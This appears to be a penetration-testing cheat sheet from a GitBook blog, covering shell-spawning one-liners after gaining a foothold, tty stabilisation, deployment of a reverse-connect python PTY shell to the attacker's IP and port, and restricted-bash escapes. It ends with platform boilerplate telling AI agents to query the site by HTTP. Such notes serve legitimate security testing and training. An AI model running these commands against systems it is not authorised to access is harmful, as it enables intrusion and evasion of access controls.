> For the complete documentation index, see [llms.txt](https://ed4m4s.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ed4m4s.blog/spawning-a-shell.md).

# Spawning a Shell

The following commands can be used to spawn a shell once you have a foot inside.&#x20;

```
python -c 'import pty; pty.spawn("/bin/sh")' 
python3 -c 'import pty; pty.spawn("/bin/sh")'

script -qc /bin/bash /dev/null

echo os.system('/bin/bash') 
/bin/sh -i 
perl -e 'exec "/bin/sh";' 
perl: exec "/bin/sh"; 
ruby: exec "/bin/sh" 
lua: os.execute('/bin/sh') 
exec "/bin/sh"; 
/bin/bash -i
exec "/bin/sh"                # (From within IRB) 
:!bash                        # (From within vi)
:set shell=/bin/bash:shell    # (From within vi) 
!sh                           # (From within nmap) 
```

### Method:&#x20;

```
=================== On Kali ===================
CTRL+z                <--- place the netcat connection to background 
stty raw -echo        <--- on your terminal 
fg                    <--- bring back the terminal
stty -a               <--- make a note of rows, columns

=================== On Target ===================
export SHELL=bash 
export TERM=xterm256-color  OR  export TERM=xterm
stty rows 38             <--- from notes above.
stty columns 116         <--- from notes above.
```

**Python PTY Shells**

```
Clone the repo https://github.com/infodox/python-pty-shells.git

On kali:
1) Make changes to reflect your IP and PORT on tcp_pty_backconnect.py file
2) Pass this file to the target. 
3) python tcp_pty_shell_handler.py -b IP:PORT

On target:
1) python tcp_pty_backconnect.py
```

#### Escaping RBASH (Restricted Bash)

```
##############################################

ssh username@<IP-Adress> -t "bash --noprofile"

##############################################

vi
:set shell=/bin/bash
:shell

##############################################

cd /home
echo $SHELL
ed
!'/bin/bash'
pwd

##############################################

awk 'BEGIN {system("/bin/bash")}'
cd /home
cd ~
pwd

##############################################

perl -e 'system("/bin/bash");'
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ed4m4s.blog/spawning-a-shell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
